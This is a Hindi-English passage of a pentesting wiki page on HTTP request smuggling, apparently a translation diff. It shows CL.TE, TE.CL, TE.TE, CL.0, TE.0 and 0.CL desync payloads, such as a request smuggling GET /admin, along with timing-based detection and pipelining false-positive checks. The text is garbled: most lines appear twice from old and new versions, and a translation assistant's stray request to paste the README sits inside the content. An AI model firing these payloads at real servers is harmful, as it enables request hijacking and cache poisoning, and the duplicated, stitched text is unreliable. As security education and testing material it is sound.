- **Connection**: मेरे अनुभव के अनुसार request Smuggling के पहले request पर **`Connection: keep-alive`** का उपयोग करना recommended है।
### Visible - Hidden
HTTP/1.1 की मुख्य समस्या यह है कि सभी requests एक ही TCP socket में जाते हैं, इसलिए अगर दो systems के बीच request प्राप्ति में कोई अंतर मिलता है तो एक ही request भेजकर उसे final backend (या बीच के सिस्टम) द्वारा 2 अलग request (या उससे अधिक) के रूप में treat कराया जा सकता है।
**[This blog post](https://portswigger.net/research/http1-must-die)** ऐसे नए तरीके प्रस्तावित करता है जिनसे desync attacks को detect किया जा सके जो WAFs द्वारा flag न हों। इसके लिए यह Visible vs Hidden व्यवहार प्रस्तुत करता है। इस मामले में लक्ष्य यह है कि response में ऐसे discrepancies खोजे जाएँ जिनसे desync होने की संभावना हो, बिना वास्तव में exploit किए।
उदाहरण के लिए, एक सामान्य Host header के साथ और एक `" host"` header के साथ request भेजना — अगर backend इस request की शिकायत करता है (शायद क्योंकि `" host"` का value गलत है) तो इसका मतलब हो सकता है कि front-end ने `" host"` header को नहीं देखा जबकि final backend ने उसे उपयोग किया, जो front-end और backend के बीच desync की संभावना को दर्शाता है।
यह एक **Hidden-Visible discrepancy** होगा।
अगर front-end ने `" host"` header को ध्यान में लिया होता और backend ने नहीं, तो यह **Visible-Hidden** स्थिति हो सकती है।
उदाहरण के लिए, इससे AWS ALB को front-end और IIS को backend के रूप में use करते समय desyncs का पता चला। जब `"Host: foo/bar"` भेजा गया, ALB ने `400, Server; awselb/2.0` return किया, लेकिन जब `"Host : foo/bar"` भेजा गया, तो उसने `400, Server: Microsoft-HTTPAPI/2.0` return किया, जो संकेत करता है कि backend response भेज रहा था। यह Hidden-Visible (H-V) स्थिति थी।
ध्यान दें कि यह स्थिति AWS में ठीक नहीं की गई है, लेकिन इसे `routing.http.drop_invalid_header_fields.enabled` और `routing.http.desync_mitigation_mode = strictest` सेट करके रोका जा सकता है।
- **Content-Length**: यह header request के body के बाइट्स की संख्या दर्शाने के लिए एक decimal number का उपयोग करता है। body के अंत की उम्मीद आखिरी character में होती है, request के अंत में नया लाइन होना आवश्यक नहीं है।
- **Transfer-Encoding:** यह header body में अगले chunk के आकार को दर्शाने के लिए hexadecimal number का उपयोग करता है। chunk को एक new line के साथ समाप्त होना चाहिए लेकिन यह new line length indicator में गिना नहीं जाता। इस transfer method का अंत size 0 के chunk से होना चाहिए जिसके बाद 2 new lines हों: `0`
- **Connection**: मेरे अनुभव के अनुसार request Smuggling के पहले request पर **`Connection: keep-alive`** उपयोग करने की सिफारिश की जाती है।
## Basic Examples
> [!TIP]
> जब इसे Burp Suite से exploit करने की कोशिश करें तो repeater में **`Update Content-Length` और `Normalize HTTP/1 line endings`** को disable कर दें क्योंकि कुछ gadgets newlines, carriage returns और malformed content-lengths का दुरुपयोग करते हैं।
> When trying to exploit this with Burp Suite **disable `Update Content-Length` and `Normalize HTTP/1 line endings`** in the repeater because some gadgets abuse newlines, carriage returns and malformed content-lengths.
HTTP request smuggling हमले ambiguous requests भेजकर तैयार किए जाते हैं जो front-end और back-end सर्वरों के बीच `Content-Length` (CL) और `Transfer-Encoding` (TE) headers की व्याख्या में अंतर का शोषण करते हैं। ये हमले अलग-अलग रूपों में प्रकट हो सकते हैं, मुख्यतः **CL.TE**, **TE.CL**, और **TE.TE** के रूप में। प्रत्येक प्रकार यह दर्शाता है कि front-end और back-end सर्वर इन headers को किस तरह प्राथमिकता देते हैं। कमजोरियाँ तब उत्पन्न होती हैं जब सर्वर एक ही request को अलग-अलग तरीकों से process करते हैं, जिससे अप्रत्याशित और संभावित रूप से malicious परिणाम होते हैं।
HTTP request smuggling attacks ऐसे ambiguous requests भेजकर तैयार किए जाते हैं जो front-end और back-end servers द्वारा `Content-Length` (CL) और `Transfer-Encoding` (TE) headers की व्याख्या में अंतर का फायदा उठाते हैं। ये attacks मुख्यतः **CL.TE**, **TE.CL**, और **TE.TE** के रूप में प्रकट होते हैं। हर प्रकार यह दर्शाता है कि front-end और back-end servers इन headers को किस तरह प्राथमिकता देते हैं। vulnerabilities तब उत्पन्न होती हैं जब servers एक ही request को अलग-अलग तरीकों से process करते हैं, जिससे अप्रत्याशित और संभवतः malicious परिणाम होते हैं।
### Vulnerability Types के बुनियादी उदाहरण
### Vulnerability Types के मूल उदाहरण
![https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../images/EKi5edAUUAAIPIK.jpg)
> [!TIP]
> ऊपर की तालिका में आपको TE.0 technique भी जोड़नी चाहिए, यह CL.0 technique की तरह है पर Transfer Encoding का उपयोग करती है।
> To the previous table you should add the TE.0 technique, like CL.0 technique but using Transfer Encoding.
#### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
- **Front-End (CL):** request को `Content-Length` header के आधार पर process करता है।
- **Back-End (TE):** request को `Transfer-Encoding` header के आधार पर process करता है।
- **Front-End (CL):** अनुरोध को `Content-Length` header के आधार पर process करता है।
- **Back-End (TE):** अनुरोध को `Transfer-Encoding` header के आधार पर process करता है।
- **Attack Scenario:**
- attacker ऐसा request भेजता है जहाँ `Content-Length` header का मान वास्तविक content length से मेल नहीं खाता।
- front-end server `Content-Length` मान के आधार पर पूरे request को back-end को फॉरवर्ड करता है।
- back-end server `Transfer-Encoding: chunked` header के कारण request को chunked के रूप में process करता है, और शेष डेटा को एक अलग, subsequent request के रूप में interpret कर देता है।
- attacker ऐसा request भेजता है जहाँ `Content-Length` header का value वास्तविक content length से मेल नहीं खाता।
- front-end server `Content-Length` value के आधार पर पूरा request back-end को forward कर देता है।
- back-end server `Transfer-Encoding: chunked` header के कारण request को chunked के रूप में process करता है, और शेष data को एक अलग, subsequent request के रूप में interpret कर लेता है।
- **Example:**
```
@ -76,13 +93,13 @@ Foo: x
#### TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
- **Front-End (TE):** request को `Transfer-Encoding` header के आधार पर process करता है।
- **Back-End (CL):** request को `Content-Length` header के आधार पर process करता है।
- **Front-End (TE):** अनुरोध को `Transfer-Encoding` header के आधार पर process करता है।
- **Back-End (CL):** अनुरोध को `Content-Length` header के आधार पर process करता है।
- **Attack Scenario:**
- attacker एक chunked request भेजता है जहाँ chunk size (`7b`) और वास्तविक content length (`Content-Length: 4`) मेल नहीं खाते।
- front-end server `Transfer-Encoding` का सम्मान करते हुए पूरे request को back-end को भेजता है।
- back-end server `Content-Length` के अनुसार केवल request के शुरुआती भाग (`7b` bytes) को process करता है, शेष भाग अनजाने में subsequent request का हिस्सा बन जाता है।
- front-end server `Transfer-Encoding` का सम्मान करते हुए पूरा request back-end को भेज देता है।
- back-end server `Content-Length` का पालन करते हुए केवल request के शुरुआती भाग (`7b` bytes) को process करता है, और बाकी को एक unintended subsequent request का हिस्सा छोड़ देता है।
- **Example:**
```
@ -105,12 +122,12 @@ x=
#### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
- **Servers:** दोनों `Transfer-Encoding` को सपोर्ट करते हैं, लेकिन एक को obfuscation के जरिए इसे न पहचानने के लिए trick किया जा सकता है।
- **Servers:** दोनों `Transfer-Encoding` का समर्थन करते हैं, लेकिन किसी एक को obfuscation करके इसे ignore करवा दिया जा सकता है।
- **Attack Scenario:**
- attacker obfuscated `Transfer-Encoding` headers के साथ request भेजता है।
- जिस server (front-end या back-end) को obfuscation पहचानने में विफलता होती है, वह CL.TE या TE.CL vulnerability का शोषण होने दे सकता है।
- एक server द्वारा न process किया गया request का भाग subsequent request का हिस्सा बन जाता है, जिससे smuggling होता है।
- इस बात पर निर्भर करता है कि कौन सा server (front-end या back-end) obfuscation को पहचानने में विफल रहता है, CL.TE या TE.CL vulnerability exploit की जा सकती है।
- request का वह भाग जो एक server द्वारा unprocessed रहता है, subsequent request का हिस्सा बन जाता है, जिससे smuggling होता है।
- **Example:**
```
@ -132,8 +149,8 @@ Transfer-Encoding
#### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**
- दोनों सर्वर केवल `Content-Length` header के आधार पर request को process करते हैं।
- यह scenario सामान्यतः smuggling नहीं पैदा करता क्योंकि दोनों सर्वर request length की व्याख्या में aligned होते हैं।
- दोनों servers केवल `Content-Length` header के आधार पर request को process करते हैं।
- यह स्थिति आम तौर पर smuggling की ओर नहीं ले जाती, क्योंकि दोनों servers के interpret करने में alignment होता है।
- **Example:**
```
@ -147,8 +164,8 @@ Normal Request
#### **CL.0 Scenario**
- उन परिस्थितियों को संदर्भित करता है जहाँ `Content-Length` header मौजूद है और उसका मान शून्य से अलग है, यह दर्शाता है कि request body में सामग्री है। back-end `Content-Length` header को अनदेखा कर देता है (जिसे 0 माना जाता है), पर front-end इसे parse करता है।
- यह समझने और smuggling attacks बनाने में महत्वपूर्ण है क्योंकि यह प्रभावित करता है कि सर्वर request के अंत का निर्णय कैसे लेते हैं।
- उन स्थितियों को दर्शाता है जहाँ `Content-Length` header मौजूद है और उसका मान शून्य के अलावा कुछ है, जो बताता है कि request body में content मौजूद है। back-end `Content-Length` header को ignore करता है (जिसे 0 माना जाता है), लेकिन front-end उसे parse करता है।
- यह smuggling attacks को समझने और बनाने में महत्वपूर्ण है, क्योंकि यह निर्धारित करता है कि servers request के अंत को कैसे पहचानते हैं।
- **Example:**
```
@ -162,7 +179,7 @@ Non-Empty Body
#### TE.0 Scenario
- पिछले वाले की तरह पर TE का उपयोग करते हुए।
- पहले वाले जैसा ही लेकिन TE का उपयोग करते हुए
- Technique [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- **Example**:
```
@ -182,35 +199,59 @@ x: X
EMPTY_LINE_HERE
EMPTY_LINE_HERE
```
#### वेब सर्वर को तोड़ना
#### `0.CL` परिदृश्य
यह तकनीक उन परिदृश्यों में भी उपयोगी है जहाँ प्रारंभिक **HTTP डेटा पढ़ते समय वेब सर्वर को तोड़ा जा सके** पर **कनेक्शन बंद किए बिना**। इस तरह, HTTP अनुरोध की **बॉडी** अगले **HTTP अनुरोध** के रूप में मानी जाएगी।
एक `0.CL` स्थिति में एक अनुरोध भेजा जाता है जिसमें Content-Length इस तरह होता है:
```
GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7
उदाहरण के लिए, जैसा कि [**this writeup**](https://mizu.re/post/twisty-python), में बताया गया है, Werkzeug में कुछ **Unicode** characters भेजना संभव था और इससे सर्वर **ब्रेक** हो जाता था। हालांकि, यदि HTTP कनेक्शन हेडर **`Connection: keep-alive`** के साथ बनाया गया था, तो अनुरोध की बॉडी पढ़ी नहीं जाएगी और कनेक्शन खुला रहेगा, इसलिए अनुरोध की **बॉडी** अगले **HTTP अनुरोध** के रूप में माना जाएगा।
GET /404 HTTP/1.1
X: Y
```
और front-end `Content-Length` को ध्यान में नहीं रखता, इसलिए यह केवल पहले request को backend को भेजता है (उदाहरण में 7 तक)। हालाँकि, backend `Content-Length` देखता है और एक body के लिए इंतज़ार करता है जो कभी नहीं आती क्योंकि front-end पहले ही response का इंतज़ार कर रहा होता है।
#### hop-by-hop headers के जरिए मजबूर करना
हालाँकि, अगर ऐसा कोई request backend को भेजा जा सकता है जिसका response request के body प्राप्त होने से पहले ही आ जाता है, तो यह deadlock नहीं होगा। उदाहरण के लिए IIS में यह `/con` जैसे forbidden शब्दों पर request भेजने से होता है (देखें [documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file)), इस तरह, आरंभिक request सीधे respond किया जाएगा और दूसरा request victim के request को इस प्रकार रखेगा:
```
GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>
```
यह desync पैदा करने के काम आता है, पर अब तक इसका कोई प्रभाव नहीं पड़ा है।
hop-by-hop headers का दुरुपयोग करके आप proxy को संकेत दे सकते हैं कि वह **Content-Length या Transfer-Encoding हेडर को हटा दे ताकि HTTP request smuggling का दुरुपयोग संभव हो सके।**
हालाँकि, यह पोस्ट इस समस्या का समाधान पेश करती है by converting a **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)**.
#### Breaking the web server
यह तकनीक उन परिस्थितियों में भी उपयोगी है जहाँ प्रारंभिक HTTP डेटा पढ़ते समय किसी वेब सर्वर को तोड़ा जाना संभव हो पर connection बंद न किया जाए। इस तरह, HTTP request का **body** अगले **HTTP request** के रूप में माना जाएगा।
उदाहरण के लिए, जैसा कि [**this writeup**](https://mizu.re/post/twisty-python) में समझाया गया है, Werkzeug में कुछ **Unicode** characters भेजना संभव था और इससे सर्वर **break** हो सकता था। हालाँकि, यदि HTTP connection header **`Connection: keep-alive`** के साथ बनाया गया था, तो request का body पढ़ा नहीं जाएगा और connection खुला रहेगा, इसलिए request का **body** अगले **HTTP request** के रूप में माना जाएगा।
#### Forcing via hop-by-hop headers
hop-by-hop headers का दुरुपयोग करके आप proxy को संकेत दे सकते हैं कि header Content-Length या Transfer-Encoding को **delete** कर दे ताकि HTTP request smuggling को दुरुपयोग किया जा सके।
```
Connection: Content-Length
```
अधिक जानकारी के लिए **hop-by-hop headers** देखें:
For **more information about hop-by-hop headers** visit:
{{#ref}}
../abusing-hop-by-hop-headers.md
{{#endref}}
## HTTP Request Smuggling का पता लगाना
## HTTP Request Smuggling की खोज
HTTP request smuggling vulnerabilities की पहचान अक्सर timing techniques के द्वारा की जा सकती है, जो यह देखती हैं कि manipulated requests पर server को प्रतिक्रिया देने में कितना समय लगता है। ये तकनीकें विशेष रूप से CL.TE और TE.CL vulnerabilities का पता लगाने में उपयोगी हैं। इन तरीकों के अलावा भी अन्य रणनीतियाँ और टूल हैं जो ऐसी vulnerabilities खोजने के लिए उपयोग किए जा सकते हैं:
Identifying HTTP request smuggling vulnerabilities अक्सर timing techniques के उपयोग से पाया जा सकता है, जो यह देखने पर निर्भर करते हैं कि manipulated requests के जवाब में server को रिस्पॉन्स देने में कितना समय लगता है। ये तकनीकें विशेष रूप से CL.TE और TE.CL कमजोरियों का पता लगाने में उपयोगी हैं। इन तरीकों के अलावा, ऐसी कमजोरियाँ खोजने के लिए अन्य रणनीतियाँ और टूल्स भी उपयोग किए जा सकते हैं:
### Finding CL.TE Vulnerabilities Using Timing Techniques
### Timing Techniques का उपयोग करके CL.TE कमजोरियों का पता लगाना
- **Method:**
- **तरीका:**
- ऐसा request भेजें जो, यदि application vulnerable है, तो back-end server को अतिरिक्त डेटा के लिए प्रतीक्षा करने पर मजबूर कर देगा।
- **Example:**
- एक ऐसा request भेजें जो, यदि application vulnerable है, तो back-end server को अतिरिक्त डेटा के लिए प्रतीक्षा करने का कारण बने।
- **उदाहरण:**
```
POST / HTTP/1.1
@ -224,20 +265,20 @@ A
0
```
- **Observation:**
- front-end server request को `Content-Length` के आधार पर प्रोसेस करता है और संदेश को समय से पहले काट देता है।
- back-end server, चंकेड संदेश की उम्मीद करता है, अगले chunk के आने की प्रतीक्षा करता है जो कभी नहीं आता, जिससे देरी होती है।
- **अवलोकन:**
- Front-end server `Content-Length` के आधार पर request को प्रोसेस करता है और संदेश को समय से पहले काट देता है।
- Back-end server, जो chunked message की उम्मीद कर रहा होता है, अगले chunk के लिए प्रतीक्षा करता है जो कभी नहीं आता, जिससे विलंब होता है।
- **Indicators:**
- response में timeouts या लंबे delays।
- back-end server से 400 Bad Request error मिलना, कभी-कभी विस्तृत server जानकारी के साथ।
- **संकेतक:**
- रिस्पॉन्स में timeouts या लंबी देरी।
- Back-end server से 400 Bad Request error प्राप्त होना, कभी-कभी विस्तृत server जानकारी के साथ।
### Finding TE.CL Vulnerabilities Using Timing Techniques
### Timing Techniques का उपयोग करके TE.CL कमजोरियों का पता लगाना
- **Method:**
- **तरीका:**
- ऐसा request भेजें जो, यदि application vulnerable है, तो back-end server को अतिरिक्त डेटा के लिए प्रतीक्षा करने पर मजबूर कर देगा।
- **Example:**
- एक ऐसा request भेजें जो, यदि application vulnerable है, तो back-end server को अतिरिक्त डेटा के लिए प्रतीक्षा करने का कारण बने।
- **उदाहरण:**
```
POST / HTTP/1.1
@ -250,42 +291,50 @@ Content-Length: 6
X
```
- **Observation:**
- front-end server request को `Transfer-Encoding` के आधार पर प्रोसेस करता है और पूरा संदेश फॉरवर्ड कर देता है।
- back-end server, `Content-Length` के आधार पर संदेश की उम्मीद करता है और अतिरिक्त डेटा की प्रतीक्षा करता है जो कभी नहीं आता, जिससे देरी होती है।
- **अवलोकन:**
- Front-end server `Transfer-Encoding` के आधार पर request को प्रोसेस करता है और पूरा संदेश फॉरवर्ड करता है।
- Back-end server, जो `Content-Length` के आधार पर संदेश की उम्मीद कर रहा होता है, अतिरिक्त डेटा के लिए प्रतीक्षा करता है जो कभी नहीं आता, जिससे विलंब होता है।
### Other Methods to Find Vulnerabilities
### कमजोरियाँ खोजने के अन्य तरीके
- **Differential Response Analysis:**
- थोड़ा अलग-अलग वेरिएंट वाले request भेजें और देखें कि क्या server के responses किसी अनअपेक्षित तरीके से भिन्न होते हैं, जो parsing discrepancy का संकेत देता है।
- request के थोड़े-बहुत बदले हुए वर्शन भेजें और देखें कि क्या server responses किसी अप्रत्याशित तरीके से भिन्न हैं, जो parsing में अंतर को इंगित कर सकता है।
- **Using Automated Tools:**
- Burp Suite's 'HTTP Request Smuggler' extension जैसे tools ambiguous requests के विभिन्न रूप भेजकर और responses का विश्लेषण करके इन vulnerabilities का स्वतः परीक्षण कर सकते हैं।
- Burp Suite's 'HTTP Request Smuggler' extension जैसे टूल्स विभिन्न प्रकार के ambiguous requests भेजकर और responses का विश्लेषण करके स्वचालित रूप से इन कमजोरियों का परीक्षण कर सकते हैं।
- **Content-Length Variance Tests:**
- ऐसे requests भेजें जिनमें `Content-Length` के मान वास्तविक content length से मेल नहीं खाते और देखें कि server उन mismatches को कैसे हैंडल करता है।
- ऐसे requests भेजें जिनमें `Content-Length` मान वास्तविक सामग्री की लंबाई से मेल नहीं खाते और देखें कि server ऐसे mismatches को कैसे हैंडल करता है।
- **Transfer-Encoding Variance Tests:**
- ऐसे requests भेजें जिनमें obfuscated या malformed `Transfer-Encoding` headers हों और देखें कि front-end और back-end servers उन परिवर्तनों पर कितना अलग प्रतिक्रिया करते हैं।
- obfuscated या malformed `Transfer-Encoding` headers के साथ requests भेजें और ध्यान दें कि front-end और back-end servers ऐसे हेरफेर पर कैसे अलग-अलग प्रतिक्रिया करते हैं।
### The `Expect: 100-continue` header
देखें कि यह header http desync exploit करने में कैसे मदद कर सकता है:
{{#ref}}
../special-http-headers.md
{{#endref}}
### HTTP Request Smuggling Vulnerability Testing
Timing techniques की प्रभावशीलता की पुष्टि करने के बाद, यह सुनिश्चित करना आवश्यक है कि client requests को वास्तव में manipulate किया जा सकता है। एक सरल तरीका यह है कि अपनी requests को poison करने का प्रयास करें, उदाहरण के लिए, `/` पर किया गया request 404 response दे। पहले Discuss किए गए `CL.TE` और `TE.CL` उदाहरण [Basic Examples](#basic-examples) में दिखाते हैं कि कैसे client के request को poison करके 404 response करवा सकते हैं, जबकि client किसी अन्य resource तक पहुँचने का प्रयास कर रहा होता है।
Timing techniques की प्रभावशीलता की पुष्टि करने के बाद, यह सत्यापित करना महत्वपूर्ण है कि क्या client requests में हेरफेर किया जा सकता है। एक सीधा तरीका यह है कि अपने requests को poison करने का प्रयास करें, उदाहरण के लिए `/` पर की गई request को 404 response दिलवाना। पहले चर्चा किए गए `CL.TE` और `TE.CL` उदाहरण [Basic Examples](#basic-examples) में दिखाते हैं कि कैसे एक client के request को poison करके 404 response उत्पन्न किया जा सकता है, भले ही client किसी अन्य resource तक पहुंचने का प्रयास कर रहा हो।
**मुख्य विचार**
**Key Considerations**
जब आप दूसरों के requests में हस्तक्षेप करके request smuggling की टेस्टिंग कर रहे हों, तो ध्यान रखें:
जब आप दूसरों के requests के साथ हस्तक्षेप करके request smuggling के लिए परीक्षण कर रहे हों, तो ध्यान रखें:
- **Distinct Network Connections:** "attack" और "normal" requests अलग network connections पर भेजने चाहिए। दोनों के लिए एक ही connection का उपयोग करना vulnerability की पुष्टि नहीं करता।
- **Consistent URL and Parameters:** दोनों requests के लिए समान URL और parameter names उपयोग करने का प्रयास करें। आधुनिक applications अक्सर URL और parameters के आधार पर requests को विशिष्ट back-end servers पर route करती हैं। मेल खाने से यह संभावना बढ़ती है कि दोनों requests को एक ही server द्वारा प्रोसेस किया जाएगा, जो successful attack के लिए जरूरी है।
- **Timing and Racing Conditions:** "normal" request, जो "attack" request के हस्तक्षेप का पता लगाने के लिए है, अन्य concurrent application requests के साथ प्रतिस्पर्धा करता है। इसलिए "normal" request को तुरंत "attack" request के बाद भेजें। व्यस्त applications में conclusive पुष्टि के लिए कई बार प्रयास आवश्यक हो सकते हैं।
- **Load Balancing Challenges:** front-end servers जो load balancers के रूप में कार्य करते हैं, requests को विभिन्न back-end systems पर बाँट सकते हैं। अगर "attack" और "normal" requests अलग systems पर पहुँच जाएँ, तो attack सफल नहीं होगा। इस load balancing वजह से vulnerability की पुष्टि के लिए कई प्रयास करने पड़ सकते हैं।
- **Unintended User Impact:** अगर आपका attack किसी अन्य उपयोगकर्ता के request (आपके भेजे गए "normal" request के अलावा) पर प्रभाव डालता है, तो यह संकेत है कि आपका attack किसी अन्य application user को प्रभावित कर गया। लगातार परीक्षण अन्य उपयोगकर्ताओं को प्रभावित कर सकता है, इसलिए सावधानी बरतें।
- **Distinct Network Connections:** "attack" और "normal" requests को अलग network connections पर भेजना चाहिए। दोनों के लिए एक ही connection का उपयोग करना vulnerability की उपस्थिति को प्रमाणित नहीं करता।
- **Consistent URL and Parameters:** दोनों requests के लिए समान URLs और parameter names का उपयोग करने का लक्ष्य रखें। आधुनिक applications अक्सर URL और parameters के आधार पर requests को विशिष्ट back-end servers पर route करते हैं। इन्हें मिलान करने से दोनों requests के एक ही server द्वारा प्रोसेस होने की संभावना बढ़ती है, जो सफल attack के लिए अनिवार्य है।
- **Timing and Racing Conditions:** "normal" request, जिसे "attack" request के हस्तक्षेप का पता लगाने के लिए भेजा जाता है, अन्य concurrent application requests के खिलाफ race में होता है। इसलिए "attack" request के तुरंत बाद "normal" request भेजें। व्यस्त applications के मामले में निर्णायक पुष्टि के लिए कई प्रयासों की आवश्यकता हो सकती है।
- **Load Balancing Challenges:** load balancer की तरह काम करने वाले front-end servers requests को विभिन्न back-end systems में वितरित कर सकते हैं। यदि "attack" और "normal" requests अलग systems पर पहुंच जाते हैं, तो attack सफल नहीं होगा। इस load balancing पहलू के कारण vulnerability की पुष्टि करने के लिए कई प्रयासों की आवश्यकता पड़ सकती है।
- **Unintended User Impact:** अगर आपका attack अनजाने में किसी अन्य उपयोगकर्ता के request को प्रभावित करता है (न कि वह "normal" request जो आपने पता लगाने के लिए भेजा था), तो इसका मतलब है कि आपका attack किसी अन्य application user को प्रभावित कर गया। बार-बार परीक्षण अन्य उपयोगकर्ताओं के लिए समस्या पैदा कर सकता है, इसलिए सतर्क रहना आवश्यक है।
## HTTP/1.1 pipelining के artifacts और genuine request smuggling में अंतर
## HTTP/1.1 pipelining artifacts और वास्तविक request smuggling में अंतर
Connection reuse (keep-alive) और pipelining आसानी से उन testing tools में "smuggling" के भ्रम पैदा कर सकते हैं जो एक ही socket पर कई requests भेजते हैं। harmless client-side artifacts को real server-side desync से अलग करना सीखें।
Connection reuse (keep-alive) और pipelining आसानी से testing tools में "smuggling" की भ्रम पैदा कर सकते हैं जो एक ही socket पर कई requests भेजते हैं। harmless client-side artifacts को असली server-side desync से अलग करना सीखें।
### क्यों pipelining क्लासिक false positives बनाता है
HTTP/1.1 एक single TCP/TLS connection को reuse करता है और उसी stream पर requests और responses को concatenate करता है। pipelining में, client कई requests को लगातार भेजता है और in-order responses पर निर्भर रहता है। एक सामान्य false-positive यह है कि एक malformed CL.0-style payload को एक ही connection पर दो बार resend किया जाए:
HTTP/1.1 एक single TCP/TLS connection को पुनः उपयोग करता है और उसी stream पर requests और responses को concatenate करता है। pipelining में, client कई requests को back-to-back भेजता है और in-order responses पर निर्भर रहता है। एक सामान्य false-positive यह है कि एक malformed CL.0-style payload को एक ही connection पर दो बार resend कर दिया जाए:
```
POST / HTTP/1.1
Host: hackxor.net
@ -294,39 +343,7 @@ Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
```
# HTTP request smuggling
{#tabs}
{#tab name="अवलोकन"}
HTTP request smuggling एक ऐसी technique है जो backend servers या intermediaries के बीच parsing असंगतियों का फायदा उठाती है। यह अक्सर तब सफल होता है जब किसी proxy या front-end और backend के बीच Content-Length और Transfer-Encoding को अलग-अलग तरीके से interpret किया जाता है। सफल smuggling से request hijacking, cache poisoning, और authentication bypass जैसे असर हो सकते हैं।
{#endtab}
{#tab name="डिटेक्शन"}
- बेसिक चेक: अलग-अलग combinations של Content-Length और Transfer-Encoding वाले requests भेजें और server की प्रतिक्रियाओं का निरीक्षण करें।
- असमान parsing के लक्षण: unexpected status codes, truncated responses, या दूसरे users के responses में अतिरिक्त data।
- automated tools: कई scanners HTTP request smuggling के लिए परीक्षण करते हैं, पर manual परीक्षण ज़्यादा reliable होता है।
{#endtab}
{#tab name="Exploit उदाहरण"}
नीचे एक सामान्य उदाहरण है जहाँ Content-Length और Transfer-Encoding दोनों मौजूद हैं। ध्यान रखें कि code block को translate न करें।
```http
POST / HTTP/1.1
Host: vulnerable
Content-Length: 13
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable
```
ऊपर के payload में यदि proxy Transfer-Encoding को पहले process करता है और backend Content-Length को पहले, तो backend एक अतिरिक्त GET request को अलग से interpret कर सकता है, जिससे smuggled request execute हो सकता है।
{#endtab}
{#endtabs}
अधिक पढ़ने के लिए देखें: tests/README.md
I don't see the README.md content. कृपया src/pentesting-web/http-request-smuggling/README.md की पूरी Markdown सामग्री यहाँ पेस्ट करें — मैं निर्दिष्ट नियमों के अनुसार टेक्स्ट को हिंदी में अनुवाद कर दूँगा और सभी कोड, टैग, लिंक, पाथ और निर्दिष्ट शब्द जस के तस रखूँगा।
```
HTTP/1.1 200 OK
Content-Type: text/html
@ -340,7 +357,7 @@ Content-Type: text/plain
User-agent: *
Disallow: /settings
```
यदि सर्वर malformed `Content_Length` को अनदेखा कर देता है, तो कोई FE↔BE desync नहीं होता। reuse के साथ, आपका client वास्तव में यह byte-stream भेजता है, जिसे server ने दो स्वतंत्र requests के रूप में parsed किया:
अगर सर्वर अमान्य `Content_Length` को अनदेखा कर देता है, तो कोई FE↔BE desync नहीं होता। पुन: उपयोग के साथ, आपका क्लाइंट वास्तव में यह byte-stream भेजता है, जिसे सर्वर ने दो स्वतंत्र requests के रूप में पार्स किया:
```
POST / HTTP/1.1
Host: hackxor.net
@ -354,42 +371,42 @@ Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
```
प्रभाव: कोई नहीं। आपने बस अपने client को server framing से desynced कर दिया।
Impact: कोई नहीं। आप बस अपने client को server framing से desync कर चुके हैं।
> [!TIP]
> Burp मॉड्यूल जो reuse/pipelining पर निर्भर हैं: Turbo Intruder with `requestsPerConnection>1`, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".
> Burp के ऐसे मॉड्यूल जो reuse/pipelining पर निर्भर करते हैं: Turbo Intruder with `requestsPerConnection>1`, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".
### Litmus tests: pipelining or real desync?
### Litmus परीक्षण: pipelining या वास्तविक desync?
1. Disable reuse and re-test
- Burp Intruder/Repeater में, HTTP/1 reuse बंद करें और "Send group in sequence" से बचें।
- Turbo Intruder में, `requestsPerConnection=1` और `pipeline=False` सेट करें।
- यदि व्यवहार गायब हो जाता है, तो संभवतः यह client-side pipelining था, जब तक कि आप connection-locked/stateful targets या client-side desync के साथ नहीं काम कर रहे हों।
2. HTTP/2 nested-response check
- एक HTTP/2 request भेजें। यदि response body में एक पूरा nested HTTP/1 response शामिल है, तो आपने pure client artifact के बजाय backend parsing/desync bug साबित कर दिया है।
- Burp Intruder/Repeater में, HTTP/1 reuse को बंद करें और "Send group in sequence" से बचें।
- Turbo Intruder में `requestsPerConnection=1` और `pipeline=False` सेट करें।
- यदि व्यवहार गायब हो जाता है, तो संभवतः client-side pipelining था, जब तक कि आप connection-locked/stateful targets या client-side desync का सामना नहीं कर रहे हों।
2. HTTP/2 nested-response जाँच
- एक HTTP/2 अनुरोध भेजें। यदि response body में एक पूरा nested HTTP/1 response शामिल है, तो आपने backend parsing/desync बग साबित कर दिया है, न कि केवल client artifact।
3. Partial-requests probe for connection-locked front-ends
- कुछ FEs केवल तब upstream BE connection reuse करते हैं जब client ने अपना reuse किया हो। FE व्यवहार जो client reuse को mirror करता है, पहचानने के लिए partial-requests का उपयोग करें।
- connection-locked technique के लिए PortSwigger "Browser‑Powered Desync Attacks" देखें।
- कुछ FEs केवल तभी upstream BE connection को reuse करते हैं जब client ने अपना connection reuse किया हो। FE के ऐसे व्यवहार का पता लगाने के लिए partial-requests का उपयोग करें जो client reuse की नकल करते हैं।
- connection-locked तकनीक के लिए PortSwigger "Browser‑Powered Desync Attacks" देखें।
4. State probes
- एक ही TCP connection पर first- vs subsequent-request के बीच के अंतर खोजें (first-request routing/validation)।
- Burp "HTTP Request Smuggler" में एक connection‑state probe शामिल है जो इस प्रक्रिया को स्वचालित करता है।
- एक ही TCP connection पर first- vs subsequent-request के बीच के अंतर को देखें (first-request routing/validation)।
- Burp "HTTP Request Smuggler" में एक connection‑state probe शामिल है जो इसे ऑटोमेट करता है।
5. Visualize the wire
